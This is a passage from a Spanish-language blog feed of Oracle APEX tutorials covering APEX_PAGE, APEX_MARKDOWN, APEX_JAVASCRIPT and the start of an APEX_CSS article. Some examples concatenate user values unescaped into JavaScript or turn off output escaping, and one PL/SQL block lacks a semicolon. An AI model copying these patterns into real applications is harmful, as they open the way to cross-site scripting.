<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765223912857/674920d2-4195-4418-a3d7-cddc1e1eac12.png" alt class="image--center mx-auto" /></p>
<p>Al hacer clic en el boton, los valores son Seteados a la pagina de destino.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765224103760/e2f84f0c-baf1-410e-b836-c5165c0093bd.png" alt class="image--center mx-auto" /></p>
<p>También podemos redirigir a otra página usando JavaScript.<br />Sin embargo, como la URL debe ser generada en el servidor (usando apex_page.get_url), necesitamos almacenar esa URL en un item —generalmente un item oculto— para que JavaScript pueda leerla y ejecutar el redireccionamiento.</p>
<p>Este item funciona como un “item bandera”, conteniendo la URL final que JavaScript debe usar.</p>
<h3 id="heading-ejemplo-2-crear-una-url-dinamica-y-redirigir-hacia-otra-pagina-usando-javascript-geturl">Ejemplo 2: <strong>Crear una URL dinámica y redirigir hacia otra página usando javascript (</strong>GET_URL<strong>).</strong></h3>
<p>1. <strong>PL/SQL procesa y coloca la URL en un item oculto</strong></p>
<pre><code class="lang-sql">    :P23_URL := apex_page.get_url(
        p_page        =&gt; 27,<span class="hljs-comment">--Puede ser dinamico y no en durango, se puede definir una variable o un item :P23_nro_pagi_dest</span>
        p_clear_cache =&gt; '27',
        p_items       =&gt; 'P27_ID,P27_MODE',<span class="hljs-comment">--Lista de los items de la página destino que recibirán valores. Deben existir en la página 27.</span>
        p_values      =&gt; :P23_ID||','||:P23_MODO,<span class="hljs-comment">--Valores que se enviarán a los items definidos en p_items. Provienen de los items de la página actual (23).</span>
        p_session     =&gt; :APP_SESSION
    );
</code></pre>
<p>2. El siguiente código JavaScript redirige a otra página utilizando una URL generada previamente en el servidor.<br />El item P23_URL contiene la URL construida con apex_page.get_url, y luego JavaScript realiza la redirección utilizando la API nativa apex.navigation.redirect:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">let</span> url = $v(<span class="hljs-string">"P23_URL"</span>);
apex.navigation.redirect(url);
</code></pre>
<p>Al dar clic en el boton nos redirige a la pagina modal con los parametros recibidos.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765225151179/02a96a10-498c-40da-8957-31659c06f456.png" alt class="image--center mx-auto" /></p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://www.youtube.com/watch?v=ffHN6_8HDuI">https://www.youtube.com/watch?v=ffHN6_8HDuI</a></div>
<p> </p>
<h3 id="heading-ejemplo-3-forzar-la-recarga-de-una-pagina-limpiando-la-cache-purgecache">Ejemplo 3: <strong>Forzar la recarga de una página limpiando la caché (PURGE_CACHE)</strong></h3>
<p>Si trabajás con Interactive Reports, Grids o regiones con caché, quizá necesites invalidarla tras una actualización importante.</p>
<h3 id="heading-limpiar-la-cache-de-la-pagina-24">Limpiar la caché de la página 24</h3>
<pre><code class="lang-sql"><span class="hljs-keyword">BEGIN</span>
    apex_page.purge_cache( p_page_id =&gt; <span class="hljs-number">24</span> );
<span class="hljs-keyword">END</span>;
</code></pre>
<h3 id="heading-limpiar-cache-solo-para-la-sesion-actual">Limpiar caché solo para la sesión actual</h3>
<pre><code class="lang-sql"><span class="hljs-keyword">BEGIN</span>
     APEX_PAGE.PURGE_CACHE (
         p_current_session_only =&gt; <span class="hljs-literal">true</span> );
<span class="hljs-keyword">END</span>;
</code></pre>
<h3 id="heading-ejemplo-4-consultar-el-modo-de-pagina-getpagemode">Ejemplo 4: <strong>Consultar el modo de página (GET_PAGE_MODE)</strong></h3>
<p>Cuando una página funciona tanto para <strong>Insert</strong>, <strong>Update</strong> o <strong>Read Only</strong>, puede ser útil adaptar lógica según su modo.</p>
<h3 id="heading-diferenciar-entre-insert-y-edit">Diferenciar entre Insert y Edit</h3>
<pre><code class="lang-sql"><span class="hljs-keyword">DECLARE</span>
   l_mode <span class="hljs-built_in">VARCHAR2</span>(<span class="hljs-number">30</span>);
<span class="hljs-keyword">BEGIN</span>
    l_mode := apex_page.get_page_mode(p_application_id=&gt;:APP_ID,
                                     p_page_id=&gt;:APP_PAGE_ID)
   <span class="hljs-keyword">IF</span> l_mode = <span class="hljs-string">'NORMAL'</span> <span class="hljs-keyword">THEN</span>
      apex_debug.info(p_message =&gt; <span class="hljs-string">'Página editable'</span>); 
   ELSIF l_mode = 'READ_ONLY' THEN
       apex_debug.info(p_message =&gt; 'Página solo lectura');
   <span class="hljs-keyword">END</span> <span class="hljs-keyword">IF</span>;
<span class="hljs-keyword">END</span>;
</code></pre>
<p>APEX_PAGE es una herramienta sencilla pero potente, ideal para elevar las aplicaciones APEX a un nivel más profesional y flexible.</p>
<p><img src="https://www.pintzap.com/storage/img/memegenerator/templates/es-un-hechizo-simple-pero-inquebrantable.jpg" alt /></p>
<p>Si te gustó este artículo comentame que te parecio y si aprendiste algo nuevo, podés darle “Follow“ al blog, compartir la publicación o incluso invitarme un café así seguimos creando más contenido sobre Oracle APEX.</p>
]]></content:encoded></item><item><title><![CDATA[Cómo convertir Markdown a HTML en Oracle APEX con APEX_MARKDOWN]]></title><description><![CDATA[¿Qué es Markdown?
Markdown es un lenguaje de marcado ligero, diseñado para escribir texto con formato sin necesidad de código HTML.Es simple, rápido y fácil de leer incluso sin procesar.
Ejemplo básico
Markdown:
# Título
## Subtítulo
**negrita**, *cu...]]></description><link>https://www.paraguayandev.com/como-convertir-markdown-a-html-en-oracle-apex-con-apexmarkdown</link><guid isPermaLink="true">https://www.paraguayandev.com/como-convertir-markdown-a-html-en-oracle-apex-con-apexmarkdown</guid><category><![CDATA[oracl]]></category><category><![CDATA[Apex]]></category><category><![CDATA[apex.world]]></category><category><![CDATA[Apex Tips]]></category><category><![CDATA[Oracle]]></category><category><![CDATA[#oracle-apex]]></category><category><![CDATA[markdown]]></category><category><![CDATA[md]]></category><dc:creator><![CDATA[Cristhian Cano Bogado]]></dc:creator><pubDate>Thu, 20 Nov 2025 23:35:50 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1763676393231/c1379383-9936-4d0a-8c90-53fe44be7e8a.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-que-es-markdown">¿Qué es Markdown?</h1>
<p><strong>Markdown</strong> es un <strong>lenguaje de marcado ligero</strong>, diseñado para escribir texto con formato sin necesidad de código HTML.<br />Es simple, rápido y fácil de leer incluso sin procesar.</p>
<h3 id="heading-ejemplo-basico">Ejemplo básico</h3>
<p>Markdown:</p>
<pre><code class="lang-markdown"><span class="hljs-section"># Título</span>
<span class="hljs-section">## Subtítulo</span>
<span class="hljs-strong">**negrita**</span>, <span class="hljs-emphasis">*cursiva*</span>
<span class="hljs-bullet">-</span> Lista 1
<span class="hljs-bullet">-</span> Lista 2
</code></pre>
<p>HTML generado:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>Título<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>Subtítulo<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">strong</span>&gt;</span>negrita<span class="hljs-tag">&lt;/<span class="hljs-name">strong</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">ul</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">li</span>&gt;</span>Lista 1<span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">li</span>&gt;</span>Lista 2<span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">ul</span>&gt;</span>
</code></pre>
<p>Por eso es ideal para:</p>
<ul>
<li><p>Documentación</p>
</li>
<li><p>Notas técnicas</p>
</li>
<li><p>Blogs</p>
</li>
<li><p>Wikis</p>
</li>
<li><p>Comentarios y descripciones</p>
</li>
</ul>
<p>El soporte para Markdown dentro de Oracle APEX se volvió una herramienta extremadamente útil para quienes desean <strong>agregar contenido dinámico, limpio y bien formateado sin escribir HTML a mano</strong>.<br />Gracias al paquete nativo <strong>APEX_MARKDOWN</strong>, podemos convertir fácilmente Markdown → HTML seguro y mostrarlo en cualquier página.</p>
<p>En este artículo te mostraré:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763676752453/70040d4f-5732-491d-b465-5379cdac8bbc.webp" alt class="image--center mx-auto" /></p>
<ol>
<li><p>Cómo usar Markdown en <strong>Static Content</strong></p>
</li>
<li><p>Cómo <strong>almacenarlo en tablas</strong> y renderizarlo dinámicamente</p>
</li>
<li><p>Cómo construir una <strong>mini-wiki interna en tu aplicación APEX</strong></p>
</li>
</ol>
<p>Vamos por partes.</p>
<h1 id="heading-1-usar-markdown-en-regiones-static-content">1. Usar Markdown en regiones <em>Static Content</em></h1>
<p>Las regiones <em>Static Content</em> permiten escribir HTML, pero también pueden procesar Markdown si usamos PL/SQL o un Dynamic Action.<br />La forma más sencilla es usar una región tipo <strong>Dynamic Content</strong> para convertir Markdown → HTML en tiempo real.</p>
<h3 id="heading-ejemplo">Ejemplo</h3>
<ol>
<li><p>Crea una región <strong>Dynamic Content</strong></p>
</li>
<li><p>En el código coloca:</p>
</li>
</ol>
<pre><code class="lang-sql"><span class="hljs-keyword">declare</span>
  l_md <span class="hljs-keyword">clob</span> := <span class="hljs-string">'
# Bienvenido a mi aplicación  
Renderizado con **Markdown**
                '</span>;
<span class="hljs-keyword">begin</span>
  <span class="hljs-keyword">return</span> apex_markdown.to_html(l_md);
<span class="hljs-keyword">end</span>;
</code></pre>
<p>Resultado: un contenido HTML perfectamente renderizado sin escribir una sola etiqueta <code>&lt;h1&gt;</code>, <code>&lt;strong&gt;</code>, <code>&lt;ul&gt;</code>, etc.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763677526128/7f91cf3e-9c67-49db-8a46-2b67d7ad9171.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-2-guardar-markdown-en-tablas-y-mostrarlo-dinamicamente">2. Guardar Markdown en tablas y mostrarlo dinámicamente</h1>
<p>Este es el uso más poderoso: almacenar contenido Markdown en la base, y dejar que APEX lo convierta en HTML cada vez que alguien lo consulta.</p>
<h3 id="heading-crear-una-tabla-para-markdown">Crear una tabla para Markdown</h3>
<pre><code class="lang-sql"><span class="hljs-keyword">CREATE</span> <span class="hljs-keyword">TABLE</span> notas (
    <span class="hljs-keyword">id</span>          <span class="hljs-built_in">NUMBER</span> <span class="hljs-keyword">GENERATED</span> <span class="hljs-keyword">ALWAYS</span> <span class="hljs-keyword">AS</span> <span class="hljs-keyword">IDENTITY</span>,
    titulo      <span class="hljs-built_in">VARCHAR2</span>(<span class="hljs-number">200</span>),
    contenido_md <span class="hljs-keyword">CLOB</span>,
    creado_el   <span class="hljs-built_in">DATE</span> <span class="hljs-keyword">DEFAULT</span> <span class="hljs-keyword">SYSDATE</span>,
    PRIMARY <span class="hljs-keyword">KEY</span> (<span class="hljs-keyword">id</span>)
);
</code></pre>
<h3 id="heading-formulario-para-cargar-contenido">Formulario para cargar contenido</h3>
<p>Crea un <strong>formulario automático</strong> sobre la tabla.<br />El campo contenido_md será un <strong>Textarea</strong> donde escribir Markdown.</p>
<h3 id="heading-listar-notas-con-markdown-procesado">Listar notas con Markdown procesado</h3>
<p>Crea un <strong>Interactive Report</strong> o <strong>Classic Report</strong> con la consulta:</p>
<pre><code class="lang-sql"><span class="hljs-keyword">select</span>
    <span class="hljs-keyword">id</span>,
    titulo,
    apex_markdown.to_html(contenido_md) <span class="hljs-keyword">as</span> contenido_html,
    creado_el
<span class="hljs-keyword">from</span> notas
</code></pre>
<p>En la columna <strong>contenido_html</strong> marca:</p>
<ul>
<li><strong>Escape special characters</strong> → <strong>NO</strong> (importantísimo)</li>
</ul>
<p>Esto permite mostrar el HTML generado por TO_HTML.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763678617563/87376164-fbc1-4c4b-bd83-149231dc0758.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-3-construir-una-mini-wiki-dentro-de-oracle-apex">3. Construir una mini-wiki dentro de Oracle APEX</h3>
<p>Este es un caso de uso muy práctico para intranets, documentación de proyectos, manuales de usuario, etc.</p>
<p>La idea:</p>
<ul>
<li><p>cada página de la wiki se guarda como un registro con Markdown</p>
</li>
<li><p>cada vez que un usuario accede, el sistema convierte Markdown → HTML</p>
</li>
<li><p>se pueden agregar enlaces entre páginas fácilmente</p>
</li>
</ul>
<h3 id="heading-estructura-de-ejemplo">Estructura de ejemplo</h3>
<pre><code class="lang-sql"><span class="hljs-keyword">CREATE</span> <span class="hljs-keyword">TABLE</span> wiki_paginas (
    <span class="hljs-keyword">id</span>            <span class="hljs-built_in">NUMBER</span> <span class="hljs-keyword">GENERATED</span> <span class="hljs-keyword">ALWAYS</span> <span class="hljs-keyword">AS</span> <span class="hljs-keyword">IDENTITY</span>,
    slug          <span class="hljs-built_in">VARCHAR2</span>(<span class="hljs-number">200</span>) <span class="hljs-keyword">UNIQUE</span>, 
    titulo        <span class="hljs-built_in">VARCHAR2</span>(<span class="hljs-number">200</span>),
    contenido_md  <span class="hljs-keyword">CLOB</span>,
    actualizado_el <span class="hljs-built_in">DATE</span> <span class="hljs-keyword">DEFAULT</span> <span class="hljs-keyword">SYSDATE</span>,
    PRIMARY <span class="hljs-keyword">KEY</span> (<span class="hljs-keyword">id</span>)
);
</code></pre>
<p>El slug sirve como identificador amigable para la URL.</p>
<pre><code class="lang-sql">
<span class="hljs-keyword">INSERT</span> <span class="hljs-keyword">INTO</span> wiki_paginas (slug, titulo, contenido_md)
<span class="hljs-keyword">VALUES</span> (
    <span class="hljs-string">'instalacion'</span>,
    <span class="hljs-string">'Guía de Instalación'</span>,
    <span class="hljs-string">'# Instalación de la Aplicación

Sigue estos pasos para instalar la aplicación:

1. Descargar los archivos del repositorio
2. Crear la base de datos en Oracle
3. Configurar ORDS y APEX
4. Importar el archivo de la aplicación
5. Probar el login inicial
'</span>
);

<span class="hljs-keyword">INSERT</span> <span class="hljs-keyword">INTO</span> wiki_paginas (slug, titulo, contenido_md)
<span class="hljs-keyword">VALUES</span> (
    <span class="hljs-string">'configuracion'</span>,
    <span class="hljs-string">'Configuración Inicial'</span>,
    <span class="hljs-string">'# Configuración Inicial

Antes de empezar, asegúrate de:

- Configurar usuarios y roles
- Ajustar parámetros de correo
- Revisar conexiones a la base de datos
- Activar logs y auditoría
'</span>
);

<span class="hljs-keyword">INSERT</span> <span class="hljs-keyword">INTO</span> wiki_paginas (slug, titulo, contenido_md)
<span class="hljs-keyword">VALUES</span> (
    <span class="hljs-string">'uso_basico'</span>,
    <span class="hljs-string">'Uso Básico de la Aplicación'</span>,
    <span class="hljs-string">'# Uso Básico

## Crear un registro

- Acceder al módulo correspondiente
- Hacer clic en "Nuevo"
- Completar los campos requeridos
- Guardar y verificar

## Editar un registro

- Seleccionar el registro
- Hacer clic en "Editar"
- Modificar los datos
- Guardar cambios
'</span>
);

<span class="hljs-keyword">INSERT</span> <span class="hljs-keyword">INTO</span> wiki_paginas (slug, titulo, contenido_md)
<span class="hljs-keyword">VALUES</span> (
    <span class="hljs-string">'faq'</span>,
    <span class="hljs-string">'Preguntas Frecuentes'</span>,
    <span class="hljs-string">'# FAQ - Preguntas Frecuentes

## ¿Cómo recupero mi contraseña?
Ve a la pantalla de login y haz clic en "Olvidé mi contraseña".

## ¿Puedo exportar datos?
Sí, utiliza la opción "Exportar" disponible en los reportes.
'</span>
);
</code></pre>
<h3 id="heading-listado-principal-de-paginas">Listado principal de páginas</h3>
<p>Consulta:</p>
<pre><code class="lang-sql"><span class="hljs-keyword">select</span>
  titulo,
  slug,
  actualizado_el
<span class="hljs-keyword">from</span> wiki_paginas
<span class="hljs-keyword">order</span> <span class="hljs-keyword">by</span> titulo;
</code></pre>
<h3 id="heading-pagina-para-visualizar-una-pagina-de-la-wiki">Página para visualizar una página de la wiki</h3>
<p>Región <strong>Dynamic Content</strong>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763680849668/8c5a7682-c039-4036-b78e-eaffd940037d.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-sql"><span class="hljs-keyword">declare</span>
    l_md <span class="hljs-keyword">clob</span>;
<span class="hljs-keyword">begin</span>
    <span class="hljs-keyword">select</span> contenido_md <span class="hljs-keyword">into</span> l_md
    <span class="hljs-keyword">from</span> wiki_paginas
    <span class="hljs-keyword">where</span> (<span class="hljs-keyword">id</span> = :P22_LISTA);

    return apex_markdown.to_html(l_md);
<span class="hljs-keyword">end</span>;
</code></pre>
<h3 id="heading-podemos-agregar-una-lista-de-valores-para-ir-navegando-en-la-wiki">Podemos agregar una lista de valores para ir navegando en la wiki</h3>
<pre><code class="lang-sql"><span class="hljs-keyword">select</span>
  slug,
  <span class="hljs-keyword">id</span>
<span class="hljs-keyword">from</span> wiki_paginas
<span class="hljs-keyword">order</span> <span class="hljs-keyword">by</span> titulo;
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763681168097/9ae8f267-e4c4-4d1f-8d28-06e9d4d5dcf1.png" alt class="image--center mx-auto" /></p>
<p>Al ejecutar tendriamos este conportamiento</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://youtu.be/WrxtrSOJyqY">https://youtu.be/WrxtrSOJyqY</a></div>
<p> </p>
<h1 id="heading-conclusion">Conclusión</h1>
<p>Con <strong>APEX_MARKDOWN</strong> podés:</p>
<ul>
<li><p>mostrar contenido elegante en regiones Static Content</p>
</li>
<li><p>almacenar Markdown en tablas y renderizarlo como HTML</p>
</li>
<li><p>construir una mini-wiki interna sin escribir HTML</p>
</li>
<li><p>ofrecer editores con preview en tiempo real</p>
</li>
<li><p>mantener documentación y notas dentro de tu app sin dependencias externas</p>
</li>
</ul>
<p>Es simple, seguro y muy poderoso.</p>
<p>Si te gustó este artículo comentame que te parecio y si aprendiste algo nuevo, podés darle “Follow“ al blog, compartir la publicación o incluso invitarme un café así seguimos creando más contenido sobre Oracle APEX.</p>
]]></content:encoded></item><item><title><![CDATA[Utiliza código JAVASCRIPT desde PL/SQL con APEX_JAVASCRIPT]]></title><description><![CDATA[Oracle APEX combina lo mejor del desarrollo declarativo con el poder del código PL/SQL, y si ya viste cómo podemos aplicar estilos dinámicos con APEX_CSS, ahora vamos un paso más allá: inyectar y ejecutar código JavaScript directamente desde PL/SQL.
...]]></description><link>https://www.paraguayandev.com/utiliza-codigo-javascript-desde-plsql-con-apexjavascript</link><guid isPermaLink="true">https://www.paraguayandev.com/utiliza-codigo-javascript-desde-plsql-con-apexjavascript</guid><category><![CDATA[Apex]]></category><category><![CDATA[apex.world]]></category><category><![CDATA[Apex Tips]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[PL/SQL]]></category><category><![CDATA[psql]]></category><category><![CDATA[oracle pl/sql]]></category><category><![CDATA[Oracle SQL & PL/SQL Courses]]></category><category><![CDATA[Oracle]]></category><category><![CDATA[#oracle-apex]]></category><category><![CDATA[Oracle Database]]></category><dc:creator><![CDATA[Cristhian Cano Bogado]]></dc:creator><pubDate>Tue, 11 Nov 2025 17:17:17 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1762872110977/4d8ac518-6de2-4555-85c2-050cc993283c.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Oracle APEX combina lo mejor del desarrollo declarativo con el poder del código PL/SQL, y si ya viste cómo podemos aplicar estilos dinámicos con <a target="_blank" href="https://www.paraguayandev.com/apexcss-almacena-bloques-css-en-base-de-datos-y-aplicalos-en-apex">APEX_CSS</a>, ahora vamos un paso más allá: <strong>inyectar y ejecutar código JavaScript directamente desde PL/SQL</strong>.</p>
<h3 id="heading-que-es-apexjavascript">¿Qué es APEX_JAVASCRIPT?</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762872576859/6cca5e13-dccd-4358-89e0-0a89220bdc9b.jpeg" alt class="image--center mx-auto" /></p>
<p>Es un paquete integrado en Oracle APEX que te permite generar fragmentos de código JavaScript desde el lado del servidor (PL/SQL) y enviarlos al navegador del usuario.</p>
<p>Esto es útil cuando querés:</p>
<ul>
<li><p>Ejecutar funciones JS después de una llamada AJAX o proceso dinámico.</p>
</li>
<li><p>Inyectar variables de sesión o datos PL/SQL directamente al código cliente.</p>
</li>
<li><p>Controlar comportamientos visuales sin tocar el código fuente de las páginas.</p>
</li>
</ul>
<p>En resumen: <strong>llevar la lógica del servidor hasta el navegador, de forma controlada.</strong></p>
<h3 id="heading-ejemplo-1-mostrar-un-mensaje-dinamico">Ejemplo 1: Mostrar un mensaje dinámico</h3>
<p>Si quisieramos mostrar un alert() con un mensaje en PL/SQL.<br />Podés hacerlo así:</p>
<pre><code class="lang-sql">apex_javascript.add_onload_code(
    p_code =&gt; 'alert("Bienvenido, ' || :APP_USER || '!");'
);
</code></pre>
<p>Esto agrega el código JavaScript a la página justo cuando se carga (en este caso un proceso before header).<br />En este ejemplo, el texto dentro de :APP_USER se inserta dinámicamente desde PL/SQL y se muestra de esta manera en la pagina.</p>
<p><strong><em><mark>La función apex_javascript.add_onload_code te permite inyectar código JavaScript que se ejecutará automáticamente cuando la página termine de cargarse.</mark></em></strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762872880604/85c56771-e00f-483f-91e2-dca2f8c4900e.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-ejemplo-2-ejecutar-funciones-js-personalizadas">Ejemplo 2: Ejecutar funciones JS personalizadas</h2>
<p>Supongamos que tenés una función JavaScript definida en “Function and Global Variable Declaration“:</p>
<pre><code class="lang-javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">mostrarMSG</span>(<span class="hljs-params">mensaje</span>) </span>{
    apex.message.showPageSuccess(mensaje);
}
</code></pre>
<p>Y querés llamarla desde un proceso PL/SQL:</p>
<pre><code class="lang-sql">apex_javascript.add_onload_code(
    p_code =&gt; 'mostrarMSG("Operación completada!");'
);
</code></pre>
<p>Así, APEX ejecutará esa función al renderizar la página.</p>
<h2 id="heading-ejemplo-3-inyectar-codigo-javascript-directo-con-addinlinecode">Ejemplo 3: Inyectar código JavaScript directo con add_inline_code</h2>
<p>A diferencia de add_onload_code, que ejecuta el JavaScript <strong>al cargar la página</strong>, la función<br />apex_javascript.add_inline_code <strong>inyecta el código directamente en el HTML generado</strong> durante el render.</p>
<p>Esto significa que el código estará <strong>presente en el DOM desde el principio</strong>, y podés usarlo tanto en funciones personalizadas como en scripts de inicialización.</p>
<p>Supongamos que querés crear una variable JavaScript con el nombre del usuario actual (:APP_USER), de modo que puedas usarla en cualquier script del lado cliente:</p>
<pre><code class="lang-sql">apex_javascript.add_inline_code(
    p_code =&gt; 'var usuarioActual = "' || :APP_USER || '";'
);
</code></pre>
<p>Esto genera dentro del HTML algo como:</p>
<pre><code class="lang-javascript">
<span class="hljs-keyword">var</span> usuarioActual = <span class="hljs-string">"CRIS_CAN"</span>;
</code></pre>
<p>De esta forma, cuando la página se carga, la variable usuarioActual ya existe y puede ser usada por cualquier código JavaScript, acción dinámica o librería externa.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762880053504/9efffbf0-4349-4d4f-8ecc-ed12c2d1384c.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-conclusion">Conclusión</h2>
<p>APEX_JAVASCRIPT es una joya dentro del arsenal de Oracle APEX.<br />Con apenas unas líneas de código, podés conectar el mundo PL/SQL con el del navegador y crear interfaces más inteligentes y dinámicas, sin complicarte con archivos JS externos.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762881344238/fc20859e-8e15-497f-a3c7-c2dcac82270c.jpeg" alt class="image--center mx-auto" /></p>
<p>Si te gustó este artículo, te recomiendo leer también <a target="_blank" href="https://www.paraguayandev.com/apexcss-aplica-estilos-dinamicos-en-oracle-apex-con-plsql">APEX_CSS: aplica estilos dinámicos en Oracle APEX con PL/SQL</a>.<br />Comentame que te parecion el articulo! y si aprendiste algo nuevo, podés darle “Follow“ al blog, compartir la publicación o incluso invitarme un café así seguimos creando más contenido sobre Oracle APEX.</p>
<div class="hn-embed-widget" id="devs"></div>]]></content:encoded></item><item><title><![CDATA[APEX_CSS: Almacena Bloques CSS en base de datos y aplicalos en APEX.]]></title><description><![CDATA[En el artículo anterior, aprendimos a usar el paquete APEX_CSS para aplicar estilos dinámicos directamente desde PL/SQL, adaptando el diseño de la página según el usuario o las condiciones de negocio.Si todavía no lo leíste, te recomiendo hacerlo ant...]]></description><link>https://www.paraguayandev.com/apexcss-almacena-bloques-css-en-base-de-datos-y-aplicalos-en-apex</link><guid isPermaLink="true">https://www.paraguayandev.com/apexcss-almacena-bloques-css-en-base-de-datos-y-aplicalos-en-apex</guid><category><![CDATA[Apex]]></category><category><![CDATA[apex.world]]></category><category><![CDATA[Apex Tips]]></category><category><![CDATA[Apexindia]]></category><category><![CDATA[Oracle]]></category><category><![CDATA[#oracle-apex]]></category><category><![CDATA[Oracle Database]]></category><category><![CDATA[Oraclecloudinfrastructure]]></category><category><![CDATA[Oracle Cloud]]></category><category><![CDATA[CSS]]></category><category><![CDATA[CSS3]]></category><category><![CDATA[SQL]]></category><category><![CDATA[PL/SQL]]></category><category><![CDATA[oracle pl/sql]]></category><dc:creator><![CDATA[Cristhian Cano Bogado]]></dc:creator><pubDate>Sat, 08 Nov 2025 00:00:21 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1762538538208/ab598aa8-7ae0-4f26-a569-b3fe8151867e.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>En el artículo anterior, aprendimos a usar el paquete APEX_CSS para aplicar estilos dinámicos directamente desde <strong>PL/SQL</strong>, adaptando el diseño de la página según el usuario o las condiciones de negocio.<br /><strong><em>Si todavía no lo leíste, te recomiendo hacerlo antes:  
</em></strong><a target="_blank" href="https://www.paraguayandev.com/apexcss-aplica-estilos-dinamicos-en-oracle-apex-con-plsql"><strong><em>APEX_CSS: aplica estilos dinámicos en Oracle APEX con PL/SQL</em></strong></a></p>
<p>En esta ocación, vamos un paso más allá:<br />Veremos que es posible <strong>almacenar bloques de código CSS en tablas</strong> dentro de la base de datos y <strong>aplicarlos dinámicamente</strong> desde nuestras páginas de APEX.</p>
<h2 id="heading-por-que-almacenar-css-en-la-base-de-datos">¿Por qué almacenar CSS en la base de datos?</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762539531073/8dc6ce36-61a5-4bb5-88f6-dbae336b4450.jpeg" alt class="image--center mx-auto" /></p>
<p>Guardar los estilos en tablas ofrece ventajas interesantes:</p>
<ul>
<li><p>Permite que los <strong>usuarios administradores cambien el aspecto</strong> de la app sin tocar el código.</p>
</li>
<li><p>Facilita la <strong>personalización visual por perfil, empresa o entorno</strong>.</p>
</li>
<li><p>Se pueden versionar y activar/desactivar temas fácilmente.</p>
</li>
<li><p>Centraliza la gestión de estilos en la base de datos.</p>
</li>
</ul>
<p>En resumen: <strong>tu base de datos se convierte en un gestor de temas dinámicos.</strong></p>
<h2 id="heading-1-crear-una-tabla-para-los-estilos">1. Crear una tabla para los estilos</h2>
<p>Primero, creamos una tabla donde almacenaremos nuestros bloques CSS:</p>
<pre><code class="lang-sql"><span class="hljs-keyword">CREATE</span> <span class="hljs-keyword">TABLE</span> APP_CSS_BLOC (
    <span class="hljs-keyword">ID</span>       <span class="hljs-built_in">NUMBER</span> <span class="hljs-keyword">GENERATED</span> <span class="hljs-keyword">ALWAYS</span> <span class="hljs-keyword">AS</span> <span class="hljs-keyword">IDENTITY</span>,
    NOMB     <span class="hljs-built_in">VARCHAR2</span>(<span class="hljs-number">100</span>),
    CSS_BLOC    <span class="hljs-keyword">CLOB</span>,
    ACTI     <span class="hljs-built_in">CHAR</span>(<span class="hljs-number">1</span>) <span class="hljs-keyword">DEFAULT</span> <span class="hljs-string">'N'</span>,
    <span class="hljs-keyword">CONSTRAINT</span> PK_APP_CSS_BLOC PRIMARY <span class="hljs-keyword">KEY</span> (<span class="hljs-keyword">ID</span>)
);
</code></pre>
<p>Luego, insertamos algunos estilos base:</p>
<pre><code class="lang-sql"><span class="hljs-keyword">INSERT</span> <span class="hljs-keyword">INTO</span> APP_CSS_BLOC (NOMB, CSS_BLOC, ACTI)
<span class="hljs-keyword">VALUES</span> (
    <span class="hljs-string">'Fondo Oscuro'</span>,
    <span class="hljs-string">'body {
            background: #2e2e2e;
            color: #fff;
            }

            .t-Button {
                background-color: #444;
           }    '</span>,
    <span class="hljs-string">'Y'</span>
);

<span class="hljs-keyword">INSERT</span> <span class="hljs-keyword">INTO</span> APP_CSS_BLOC (NOMB, CSS_BLOC, ACTI)
<span class="hljs-keyword">VALUES</span> (
    <span class="hljs-string">'Fondo Claro'</span>,
    <span class="hljs-string">'body { 
            background: #fefefe; 
            color: #222; } .t-Button { background-color: #e0e0e0; }'</span>,
    <span class="hljs-string">'N'</span>
);
</code></pre>
<h2 id="heading-2-aplicar-el-css-activo-desde-plsql">2. Aplicar el CSS activo desde PL/SQL</h2>
<p>Ahora, en nuestra página APEX, creamos un proceso en el evento <strong>“Before Header”</strong> y añadimos este bloque:</p>
<pre><code class="lang-sql"><span class="hljs-keyword">DECLARE</span>
    l_css <span class="hljs-keyword">CLOB</span>;
<span class="hljs-keyword">BEGIN</span>
    <span class="hljs-comment">-- Obtiene el bloque CSS activo desde la base de datos</span>
